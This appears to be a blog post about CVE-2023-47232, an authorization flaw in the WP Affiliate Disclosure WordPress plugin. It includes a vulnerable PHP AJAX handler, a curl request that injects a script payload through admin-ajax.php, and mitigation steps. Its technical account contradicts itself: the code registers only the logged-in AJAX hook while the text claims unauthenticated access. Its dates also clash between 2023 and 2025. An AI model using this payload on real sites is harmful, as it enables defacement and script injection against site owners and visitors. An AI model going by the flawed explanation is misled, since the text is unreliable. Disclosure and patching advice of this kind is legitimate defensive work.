If you run a WordPress website and use affiliate links, you might be familiar with the WP Affiliate Disclosure plugin from mojofywp. This nifty tool helps you stay compliant by displaying affiliate disclosures to your visitors. But in late 2023, a serious vulnerability surfaced, tracked as CVE-2023-47232. This post breaks down what went wrong, how to exploit it, and most importantly—how to protect your site.

★ What Is CVE-2023-47232?

CVE-2023-47232 is a vulnerability affecting the WP Affiliate Disclosure plugin, versions up to and including 1.2.6. The vulnerability stems from missing authorization checks in the plugin’s code, allowing unauthenticated users to perform sensitive actions they shouldn’t be able to.

In short, attackers could potentially change settings remotely or inject malicious code, which may lead to site defacement or privilege escalation.

★ Technical Details and Code Example

The root cause lies in improper permission checks for certain AJAX actions. Let’s see a simplified snippet based on the plugin’s code at the time:

// Vulnerable function inside wp-affiliate-disclosure.php

add_action( 'wp_ajax_save_affiliate_disclosure_settings', 'save_affiliate_disclosure_settings_callback' );
// Oops, missing 'wp_ajax_nopriv_' for non-authenticated users

function save_affiliate_disclosure_settings_callback() {
    // The function processes settings sent via AJAX POST
    update_option( 'affiliate_disclosure_text', $_POST['disclosure_text'] ); // NO permission check!
    // ...
    wp_send_json_success( 'Settings Saved' );
}

What’s missing?
There is no check like current_user_can('manage_options') or a nonce verification. Anyone who knows the right AJAX action endpoint can POST data and modify settings.

★ How Can it Be Exploited?

An attacker could simply craft an HTTP POST request to the vulnerable AJAX handler to change the disclosure text (or any plugin option), without authentication or privileges. Here’s a sample curl request:

curl -X POST http://example.com/wp-admin/admin-ajax.php \
    -d "action=save_affiliate_disclosure_settings" \
    -d "disclosure_text=<script>alert('hacked');</script>"

After running this, the affiliate disclosure box would pop an alert instead of displaying helpful text—it can be that easy.

★ Original References

- WordPress Plugin Directory: WP Affiliate Disclosure
- NVD Details (CVE-2023-47232)
- Patch Announcement on Plugin Page

★ Mitigation & Remediation

1. Update Immediately: If you use this plugin, update to v1.2.7 or later. The changelog confirms the issue as patched.

Remove Unused Plugins: Don’t just disable—delete old, unused plugins.

3. Harden admin-ajax.php: Use a Web Application Firewall (WAF) to restrict strange admin-ajax.php requests.

4. Check for unauthorized changes: Review your Affiliate Disclosure settings and public front-end for irregularities.

★ Conclusion

CVE-2023-47232 is a reminder that even small plugins can have a big impact on your WordPress site's security. If you run WP Affiliate Disclosure, don’t wait—patch it now! Always keep plugins up-to-date, and consider a security plugin or WAF for peace of mind.

Stay secure, and always patch early!

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Timeline

Published on: 12/21/2025 00:06:36 UTC
Last modified on: 01/06/2026 21:15:41 UTC